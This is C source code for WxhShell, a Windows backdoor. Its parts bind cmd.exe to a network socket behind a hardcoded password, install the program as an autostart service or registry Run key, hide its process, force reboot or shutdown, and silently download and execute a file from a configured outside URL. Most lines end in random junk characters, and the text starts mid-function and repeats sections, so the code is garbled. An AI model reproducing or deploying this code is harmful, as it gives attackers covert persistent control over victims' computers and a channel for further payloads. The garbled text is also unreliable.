    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-(ADQS  
    else { M;RnH##W  
    closesocket(wsh); w_z^5\u0  
    ExitThread(0); a,0o{* (u$  
    } ?w5nKpG#RI  
    break; @R-~zOv  
    } )H37a  
  // 获取shell z7l;|T  
  case 's': { `aWwF} +Y  
    CmdShell(wsh); NM.f0{:cj  
    closesocket(wsh); ^kR^ QL$  
    ExitThread(0); {'wU&!  
    break; 1^H<+0  
  } ^)0{42!]  
  // 退出 d8BK/b  
  case 'x': { KJvJUq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -I$txa/"|  
    CloseIt(wsh); q@RY.&mgW  
    break; PEQvEruZ}  
    } rbJ)RN^.  
  // 离开 5@&i:vs5y  
  case 'q': { &<#BsFz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hk$nlc|$  
    closesocket(wsh);  9jzLXym  
    WSACleanup(); u2.r,<rC*Q  
    exit(1); 2S10j%EeI  
    break; WCfe!P?g  
        } &40JN}  
  } [Ey%uh 6*  
  } %Ty {1'o  
fdH'z:Xao  
  // 提示信息 RVKaqJ0e<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^%OH}Z`ly  
} K/.hJ  
  } 7rDRu]  
PA-0FlV|  
  return; g7Q*KA+  
} T[!q&kFB  
HOQ _T4  
// shell模块句柄 :~A1Ud4c  
int CmdShell(SOCKET sock) hr}R,BR|  
{ 3<' Q`H>  
STARTUPINFO si; 3L!&~'.Ro  
ZeroMemory(&si,sizeof(si)); nTtt$I@hW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yNMwd.r[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I3[RaZ2z{  
PROCESS_INFORMATION ProcessInfo; OFAqP1o{$  
char cmdline[]="cmd"; {j=hQL3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <!HD tN  
  return 0; +&zuI  
} 7Caap/L:  
o  >4>7  
// 自身启动模式 Zz*mf+  
int StartFromService(void) [6gHi.`p'  
{ %Ja{IWz9L  
typedef struct E,?aBRxy  
{ 8Carg~T@  
  DWORD ExitStatus; y2% ^teX k  
  DWORD PebBaseAddress;  F-\8f(\  
  DWORD AffinityMask; tlxjs]{0E  
  DWORD BasePriority; X1z0'gvh  
  ULONG UniqueProcessId; Ly/~N/<\  
  ULONG InheritedFromUniqueProcessId; nhxd  
}   PROCESS_BASIC_INFORMATION; %>:)4A  
U[ O!&:6  
PROCNTQSIP NtQueryInformationProcess; ^EBM;&;7  
3UtXxL&L`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y?4=u,{C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p`.fYW:p  
cZ2, u,4  
  HANDLE             hProcess; iwTBE]J  
  PROCESS_BASIC_INFORMATION pbi; BL^Hj  
PaI63 !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o|n0?bThS-  
  if(NULL == hInst ) return 0;  hahD.P<  
 SSM> ID  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eS%6 h U b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "ZB`fNE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ..{^"`FQ  
^aM/BS\  
  if (!NtQueryInformationProcess) return 0; 5+"8q#X$  
1ZW'PXUZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m<LzB_ G\  
  if(!hProcess) return 0; :< 3;7R'5  
$zA[5}{ZtQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q'-l; V|  
jN{xpd  
  CloseHandle(hProcess); Jj!tRZT  
;HwJw\fo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T ]nR XW$  
if(hProcess==NULL) return 0; Vw@x  
8r|  
HMODULE hMod; F7u%oLjr  
char procName[255]; (=B7_jrl  
unsigned long cbNeeded; ^ /eSby  
|2` $g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z"nuO\zH~  
DQXx}%Px  
  CloseHandle(hProcess); 3>3ZfFC  
KEB>}_[  
if(strstr(procName,"services")) return 1; // 以服务启动 /FZ )ej\  
j|8{Vyqd  
  return 0; // 注册表启动 U,}T ]J  
} T $]L 5  
>a~FSZf  
// 主模块 \V\ET  
int StartWxhshell(LPSTR lpCmdLine) TbM*?\7  
{ APm[)vw#f  
  SOCKET wsl; } j@@  
BOOL val=TRUE; \>k#]4@rp  
  int port=0; |L-juT X9  
  struct sockaddr_in door; (D3m5fO  
 .5r0%  
  if(wscfg.ws_autoins) Install(); T1 .@Tbbt  
-mdPqVIJn:  
port=atoi(lpCmdLine); `erQp0fBM  
.f<,H+m^  
if(port<=0) port=wscfg.ws_port; 4nXS9RiF2  
UsKn4Kh  
  WSADATA data; pODo[Rkq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2;7GgO~  
~OfKn1D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wWswuhq<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O@&I.d$  
  door.sin_family = AF_INET; KAEpFobYo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U.jMK{  
  door.sin_port = htons(port); I4ct``Di  
:dc J6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P?ol]MwaB  
closesocket(wsl); z1A-EeT  
return 1; !.N=Y;@lY  
} m5g: Q  
oK[,xqyA  
  if(listen(wsl,2) == INVALID_SOCKET) { e+aQ$1^t  
closesocket(wsl); ^?`,f>`M  
return 1; 7-B'G/PS/  
} 9Dkgu ^`  
  Wxhshell(wsl); r{;4(3E2  
  WSACleanup(); 1#RA+d(  
YH$`r6\S  
return 0; Ki\jiflc7  
( ~o+pp!  
} 'm ((G4  
i<![i5uAI  
// 以NT服务方式启动 ]c+'SJQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >u[ln@ l  
{ DzOJ{dF  
DWORD   status = 0; :fUmMta  
  DWORD   specificError = 0xfffffff; ?7s  
M" \y2   
  serviceStatus.dwServiceType     = SERVICE_WIN32; n-WvIy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mJqP#Unik  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -p~B -,  
  serviceStatus.dwWin32ExitCode     = 0; x&p=vUuukP  
  serviceStatus.dwServiceSpecificExitCode = 0; 2AE|N_v8W  
  serviceStatus.dwCheckPoint       = 0; -OAH6U9^  
  serviceStatus.dwWaitHint       = 0; zj4JWUM2  
y['icGU6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  3".W  
  if (hServiceStatusHandle==0) return; >?x Vr  
3N\X{za  
status = GetLastError(); Dne&YVF9V  
  if (status!=NO_ERROR) rbWFq|(_  
{ !qq@F%tv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Pc'wfj  
    serviceStatus.dwCheckPoint       = 0; ?RyvM_(N6  
    serviceStatus.dwWaitHint       = 0; U:(t9NX b  
    serviceStatus.dwWin32ExitCode     = status; ?+_"2XY  
    serviceStatus.dwServiceSpecificExitCode = specificError; (ZJ_&8C#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); > [7vX m4  
    return; m 9Q{ )?J7  
  } CiF bk&-g  
Ha\hQ'99  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rh^$0Q*2  
  serviceStatus.dwCheckPoint       = 0; 2|EoP-K7  
  serviceStatus.dwWaitHint       = 0; 5lbh "m=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I}{eYXh  
} 0U~JSmj:2K  
]|(?i ,p  
// 处理NT服务事件,比如:启动、停止 <9vkiEo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y3GIR f;>  
{ !Zx>)V6.  
switch(fdwControl) ~a Rq\fx{  
{ W3kilhZ  
case SERVICE_CONTROL_STOP: =#Jb9=zdR  
  serviceStatus.dwWin32ExitCode = 0; ?Ci\3)u,P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z@}~2K  
  serviceStatus.dwCheckPoint   = 0; xCD+qP ^  
  serviceStatus.dwWaitHint     = 0; kE}I b4]J  
  { Bf'(JJ7&N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ZJQ '9f  
  } &bNj/n/  
  return; #/6X44 *u  
case SERVICE_CONTROL_PAUSE: P*Nl3?T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %-.GyG$i  
  break; "tIx$?I  
case SERVICE_CONTROL_CONTINUE: ,'}ZcN2)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _\zf XHp  
  break; \/%mabLK  
case SERVICE_CONTROL_INTERROGATE: k2a^gCBC  
  break; mbK$Wp#  
}; x(Z@ R\C-a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M~4!gKs  
} 7;V5hul  
"`wq:$R  
// 标准应用程序主函数 2J5dZYW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8h=XQf6k0  
{ c@P,  
dEn hNPeRl  
// 获取操作系统版本 *BV .zbGm  
OsIsNt=GetOsVer(); #;)7~69  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S3r\)5%;  
>'eqOZM  
  // 从命令行安装 78"W ~`8  
  if(strpbrk(lpCmdLine,"iI")) Install(); VrG|/2  
!.A>)+AK  
  // 下载执行文件 SE1 tlP  
if(wscfg.ws_downexe) { c4|.!AQ>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rXMv&]Ag  
  WinExec(wscfg.ws_filenam,SW_HIDE); H+Wd#7l,  
} .0 K8h:I  
0 N(2[s_A  
if(!OsIsNt) { R:E:Y|&#  
// 如果时win9x,隐藏进程并且设置为注册表启动 LxO'$oKZV  
HideProc(); 0J" 3RTt  
StartWxhshell(lpCmdLine); &W%TY:Da|  
} DX|kO  
else cW2:D$Pe  
  if(StartFromService()) ,$Mw/fA  
  // 以服务方式启动 :d;5Q\C`  
  StartServiceCtrlDispatcher(DispatchTable); 4C$,X!kzF  
else _<8y^ymo  
  // 普通方式启动 @QEV l  
  StartWxhshell(lpCmdLine); &nss[w$%C  
, /pE*Yk  
return 0; bP[/  
} gDrqs>8  
\]D;HR`vo  
e-WaK0Ep  
)8_0d)  
=========================================== +q(D]:@,[  
T &1sfS,  
hH\(> 4l  
BsAglem  
h(fh |R<  
#KwFrlZ  
" We`axkC  
5D#*lMSP"'  
#include <stdio.h> Ny#%7%(  
#include <string.h> DmYm~hzJ  
#include <windows.h> `i}\k  
#include <winsock2.h> Mm5l>D'c  
#include <winsvc.h> *VpQ("  
#include <urlmon.h> ]PFc8qv{  
fAK  
#pragma comment (lib, "Ws2_32.lib") ?'%&2M zM  
#pragma comment (lib, "urlmon.lib") !(]|!F[m  
$t]DxMd  
#define MAX_USER   100 // 最大客户端连接数 _ n>0!  
#define BUF_SOCK   200 // sock buffer >2rFURcD  
#define KEY_BUFF   255 // 输入 buffer z<ek?0?yS  
a7Jr} "B  
#define REBOOT     0   // 重启 tf,_4_7#$  
#define SHUTDOWN   1   // 关机 f,$CiZ"  
`4o;Lz~  
#define DEF_PORT   5000 // 监听端口 &45.*l|mo  
X!@Gv:TD  
#define REG_LEN     16   // 注册表键长度 gyPF!"!5dq  
#define SVC_LEN     80   // NT服务名长度 h ( Z7a%_  
O;XF'r_  
// 从dll定义API P _ SJK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); myYe~f4=HQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9'tM65K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 >Op)T>{c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =\3*;59\  
(z[cf|he  
// wxhshell配置信息 4bO7rhve  
struct WSCFG { ?;$g,2n  
  int ws_port;         // 监听端口 DN!EsQ6  
  char ws_passstr[REG_LEN]; // 口令 YpWu\oP  
  int ws_autoins;       // 安装标记, 1=yes 0=no PU8R 0r2k\  
  char ws_regname[REG_LEN]; // 注册表键名 k";;Snk  
  char ws_svcname[REG_LEN]; // 服务名 dO=<3W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0-5:"SN'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $R^"~|m3M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h1BdASn_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H=dj\Br`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z d%*,\`S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NzEuiI}  
}b-?Dm_H  
}; :{sX8U%  
N9i>81tY  
// default Wxhshell configuration d&fENnt?h  
struct WSCFG wscfg={DEF_PORT, B!5gD   
    "xuhuanlingzhe", k~?@~xm,R  
    1, @a~K#Bvlm  
    "Wxhshell", h_cZ&P|  
    "Wxhshell", -Ju!2by  
            "WxhShell Service", xGA%/dy,;  
    "Wrsky Windows CmdShell Service", 1.uyu  
    "Please Input Your Password: ", +n0y/0Au  
  1, SZgH0W("L  
  "http://www.wrsky.com/wxhshell.exe", |h3 YL!  
  "Wxhshell.exe" {30A1>0#P  
    }; ^Ab|\ 5^3  
Oz+>I ^Q  
// 消息定义模块 ]!f=b\-Av  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cgU7)`0j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gf"/fpeQx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ''V:+@Toh  
char *msg_ws_ext="\n\rExit."; ak'RV*>mT  
char *msg_ws_end="\n\rQuit."; zRz3ot,|  
char *msg_ws_boot="\n\rReboot..."; ci$o~b6V  
char *msg_ws_poff="\n\rShutdown..."; q H+~rj  
char *msg_ws_down="\n\rSave to "; |ey6Czm  
7==Uoy*O  
char *msg_ws_err="\n\rErr!"; 4g6d6~098;  
char *msg_ws_ok="\n\rOK!"; iQA f  
4Fnr8 r8W  
char ExeFile[MAX_PATH]; ^@N@ gB  
int nUser = 0; y :457R2F  
HANDLE handles[MAX_USER]; L:S[QwQu8  
int OsIsNt; <5nz:B/  
b[/-lNrc  
SERVICE_STATUS       serviceStatus; 'a0$74fz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z-()7WY  
<)rol  
// 函数声明 Oh|Hy/&6W  
int Install(void); j/9'L^]  
int Uninstall(void); M[X& Q  
int DownloadFile(char *sURL, SOCKET wsh); 8&3G|m1-2  
int Boot(int flag); Jo2:0<VL  
void HideProc(void);  _G`kj{J  
int GetOsVer(void); /N~.,vf  
int Wxhshell(SOCKET wsl); :#+VH_%N  
void TalkWithClient(void *cs); fSSDOH!U,  
int CmdShell(SOCKET sock); +4)Kc9S#  
int StartFromService(void); VPf=LSxJe  
int StartWxhshell(LPSTR lpCmdLine); HQ]g{JVld\  
7ZN0_Q s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dfk=%lZYd9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :sJVklK  
kMUjSa~\  
// 数据结构和表定义 65g\WB+/  
SERVICE_TABLE_ENTRY DispatchTable[] = oas}8A)  
{ f 1]1ZOb  
{wscfg.ws_svcname, NTServiceMain}, }VyD X14j  
{NULL, NULL} xFgY#F  
}; Uc6P@O*,  
CY9`ztO*  
// 自我安装  Qq>M}  
int Install(void) hH%@8'1v  
{ 2jA-y!(e  
  char svExeFile[MAX_PATH]; JEj.D=@[  
  HKEY key; D;m>9{=  
  strcpy(svExeFile,ExeFile); <D=U=5  
uP<tP:  
// 如果是win9x系统,修改注册表设为自启动 ZMoN  
if(!OsIsNt) { q*52|?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @<;0 h|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O9jqeF`L=  
  RegCloseKey(key); ]x?`&f8i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RH~KaV3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 10t9Qv/  
  RegCloseKey(key); /JJU-A(  
  return 0; 3s"x{mtH  
    } A=Dzd/CUO  
  } HPT$)NeNc  
} A[^fG_l4  
else { ?9.SwIxU&  
KxqJlben  
// 如果是NT以上系统,安装为系统服务 R0 AVAUG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <w<&,xM  
if (schSCManager!=0) p"3_u;cN  
{ ~^ Q`dJL  
  SC_HANDLE schService = CreateService !5&% P b  
  ( ~:v" TuuK  
  schSCManager, n YWS'i@  
  wscfg.ws_svcname, ]|'Mf;  
  wscfg.ws_svcdisp, Qn6'E  
  SERVICE_ALL_ACCESS, i#=s_v8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O6 bB CF;  
  SERVICE_AUTO_START, |cUTP!iy  
  SERVICE_ERROR_NORMAL, N"@aisi)  
  svExeFile, yMB*/vs  
  NULL, xXQDHc -Ba  
  NULL, kg1z"EE  
  NULL, @.@O#  
  NULL, U TC|8  
  NULL $QN}2lJ>  
  ); #[ipJ %  
  if (schService!=0) { LZ` _1D  
  { >+LFu?y  
  CloseServiceHandle(schService); R$sG*=a!8j  
  CloseServiceHandle(schSCManager); IXc"gO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [AA'Ko  
  strcat(svExeFile,wscfg.ws_svcname); *`7cvt5]IM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7G z f>n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :VGvL"Kro  
  RegCloseKey(key); 4'_PLOgnX  
  return 0; 1U^;fqvja  
    } TldqF BX  
  } n j0!  
  CloseServiceHandle(schSCManager); D% v{[ KY  
} T5$db-^  
} Db3# ;  
1<IF@__  
return 1; 3+ JkV\AF  
} &>,c..Ke  
Ahv%Q%m%2  
// 自我卸载 !#xk?LyB  
int Uninstall(void) Q+YYj  
{ j]~;|V5Z  
  HKEY key; nJC/yS |  
6R1}fdHvP  
if(!OsIsNt) { jbZ%Y0km%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gE;r;#Jt4  
  RegDeleteValue(key,wscfg.ws_regname); [+j }:u  
  RegCloseKey(key); C3>&O?7J*7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9=YX9nP  
  RegDeleteValue(key,wscfg.ws_regname); lXso@TNrZ0  
  RegCloseKey(key); V $Y=JK@  
  return 0; rlV:% k  
  } %zsY=qT  
} :QGgtTEV""  
} % s&l^&ux  
else { N/CL?Z>c  
h0ml#A`h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U|yXJ.Z3  
if (schSCManager!=0) vM5yiHI(jb  
{ KFZ2%:6>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QmxI ;l  
  if (schService!=0) _[IOPHa"  
  { /zV&ebN]  
  if(DeleteService(schService)!=0) { ;=r_R!d@  
  CloseServiceHandle(schService); {^(h*zxn  
  CloseServiceHandle(schSCManager); fXD9w1  
  return 0; `-yo-59E[  
  } Fp=O:]  
  CloseServiceHandle(schService); zp.-=)D4e  
  } # O<,  
  CloseServiceHandle(schSCManager); ; D'6sd"  
} >x'R7z23  
} N5K\h}'%  
Z8 eB5!$  
return 1; IPHZ~'M  
} (+aU,EQ  
P]cC2L@Vbi  
// 从指定url下载文件 bSJ@ 5qS  
int DownloadFile(char *sURL, SOCKET wsh) '/O >#1  
{ ^W#161&  
  HRESULT hr; Z/G`8|A  
char seps[]= "/"; 8=kIN-l_  
char *token; 7F$G.LhMw  
char *file; 2;2FyKF(  
char myURL[MAX_PATH]; Iy[TEB  
char myFILE[MAX_PATH]; D[i?T3i  
05SK$ Y<<  
strcpy(myURL,sURL); h[*:\P`  
  token=strtok(myURL,seps); F .h A.E  
  while(token!=NULL) %7}ibz4iF  
  { tleWJR8oc  
    file=token; "@ 1+l&  
  token=strtok(NULL,seps); >>nOS]UL  
  } Nl$b;~ u  
r{mj[N'@  
GetCurrentDirectory(MAX_PATH,myFILE); kD*r@s]=  
strcat(myFILE, "\\"); X5_T?  
strcat(myFILE, file); @y1:=["b  
  send(wsh,myFILE,strlen(myFILE),0); u7(<YSOs  
send(wsh,"...",3,0); wa1Qt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &d sXK~9M>  
  if(hr==S_OK) " i!Xiy~  
return 0; b%wm-p  
else }z,f8Yz  
return 1; %^KNY ;E  
nI_UL  
} 0+{CN|0  
8.WZC1N  
// 系统电源模块 $ VTk0J-W  
int Boot(int flag) ;)Fc@OXN>  
{ T;C0t9Yew  
  HANDLE hToken; (Q(=MEar  
  TOKEN_PRIVILEGES tkp; 8*&|Q1`K:  
)`5=6i  
  if(OsIsNt) { &iI5^b-P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ssY5g !%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SX1w5+p$C  
    tkp.PrivilegeCount = 1; F<0GX!p4u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O_ 4 j"0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IRG-H!FV  
if(flag==REBOOT) { A<p6]#t#X)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s:zz 8oN  
  return 0; 5}Z_A?gy  
} 6<SX%Bc~  
else { 2 Q}^<^r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '5etZ!:  
  return 0; 1fMl8[!JLu  
} D}T+X ;u)K  
  } It#T\fU  
  else { 3]rd!Gp=*  
if(flag==REBOOT) { S;tv4JY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V:'_m'.-Y  
  return 0; M$Or|HTG  
} fx=HKt  
else { l1UN.l'p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~O8Xj6  
  return 0; b wqd` C  
} v43FU3  
} (|dN6M-.K  
HDQH7Bs  
return 1; K<E|29t^k  
} -'Oq.$Qq  
AQgagE^  
// win9x进程隐藏模块 z8JdA%YBM  
void HideProc(void)  j|owU  
{ hZtJ LY  
1X-fiQJe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @+&QNI06S  
  if ( hKernel != NULL ) A(1d q  
  { <IwfiI3y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  % Z-B{I(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =bh.V@*  
    FreeLibrary(hKernel); ~]78R!HJ  
  } "t&_!Rm  
oi\e[qE  
return; QHPC?a6CD  
} wS;hC&~2  
MVkO >s  
// 获取操作系统版本 3-4CGSX;X  
int GetOsVer(void) Evt&N)l!^  
{ dkAY%ztwo  
  OSVERSIONINFO winfo; _ipY;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r0:I  
  GetVersionEx(&winfo); u(C?\HaH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u&Cu"-%=M  
  return 1; #xNXCBl]O  
  else \9%RY]TK3  
  return 0; ICm/9Onh&  
} `KHP?lX  
JXAH/N& i  
// 客户端句柄模块 (( {4)5}  
int Wxhshell(SOCKET wsl) HwxME%w  
{ -+Gd<U$  
  SOCKET wsh; /2Qgg`^)  
  struct sockaddr_in client; uTvck6  
  DWORD myID; RGz NZc  
q-D|96>8  
  while(nUser<MAX_USER) "PfNC<MQo  
{ 859ID8F  
  int nSize=sizeof(client); =*=qleC3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }gtkO&  
  if(wsh==INVALID_SOCKET) return 1; @f%q ,:  
@ $2xiE.[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c=u'#|/eb  
if(handles[nUser]==0) q%hxU.h  
  closesocket(wsh); !_pryNcb  
else IiB"F<&[j{  
  nUser++; +^<-;/FZue  
  } +ieRpVg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M2rgB%W)m  
vI0::ah/  
  return 0; Y~g*"J5j  
} P<MNwdf(+  
dZ{yNh.]  
// 关闭 socket _28vf Bl?  
void CloseIt(SOCKET wsh) >*e,+ok  
{ %Kc2n9W  
closesocket(wsh); {i|$^A3  
nUser--; uS&NRf9A  
ExitThread(0); hM~zO1XW  
} gQlL0jAV  
0k 6S`e9gI  
// 客户端请求句柄 >?)Df(n(9  
void TalkWithClient(void *cs) jCxg)D7W  
{ R^=[D#*]>  
-eQ70BXvB  
  SOCKET wsh=(SOCKET)cs; f+>g_Q  
  char pwd[SVC_LEN]; lAA s/  
  char cmd[KEY_BUFF]; qIg^R@  
char chr[1]; |iGfWJ^+  
int i,j; Hi Pd|D  
'bx$}w N  
  while (nUser < MAX_USER) { D&nVkZP>  
K [M[0D  
if(wscfg.ws_passstr) { IrTMZG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +/Qgl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?0hEd9TU  
  //ZeroMemory(pwd,KEY_BUFF); Fpckb18}(O  
      i=0; +lED6 ]+%  
  while(i<SVC_LEN) { k \V6 q9*  
W>T6Wlxu`6  
  // 设置超时 *WK0dn  
  fd_set FdRead; pipqXe  
  struct timeval TimeOut; $|n#L6k  
  FD_ZERO(&FdRead); +9[s(E?SY  
  FD_SET(wsh,&FdRead); k/mO(i%qi  
  TimeOut.tv_sec=8; \K%A}gnHe  
  TimeOut.tv_usec=0; >'e(|P4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cUK9EOPe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0zrZrl  
2-x#|9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0pl |  
  pwd=chr[0]; OM 4, Sevk  
  if(chr[0]==0xd || chr[0]==0xa) { ~CQTPR  
  pwd=0; ^E= w3g&  
  break; }.74w0~0^  
  } FCPi U3  
  i++; (|_N2R!  
    } }RN&w ]<  
uwhb-.w  
  // 如果是非法用户,关闭 socket :Miri_l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9Netnzv%  
} 2}8xY:|@(U  
.7v .DR>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PA<<{\dp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zpM%L:S  
MO-)j_o-Z  
while(1) { t182&gpd`  
C3z#A3&J  
  ZeroMemory(cmd,KEY_BUFF); <j^bk"l p  
?R8wmE[w  
      // 自动支持客户端 telnet标准   \'.#of  
  j=0; NZ=`iA8)X  
  while(j<KEY_BUFF) { P/;d|M(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0VBbSn}Z<  
  cmd[j]=chr[0]; jce^Xf  
  if(chr[0]==0xa || chr[0]==0xd) { flzHZH  
  cmd[j]=0; d/!R;,^  
  break; |A%Jx__  
  } 'v:%} qMv  
  j++; 9e>Dqlv  
    } LJ+Qe%|  
mOE%:xq9-  
  // 下载文件 F3pBk)>a\  
  if(strstr(cmd,"http://")) { ">hOD'PG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b%"Lwqdr7  
  if(DownloadFile(cmd,wsh)) b$k|D)_|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cp[ NVmN  
  else j& ~`wGM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6|AD]/t^K  
  } YNV4'  
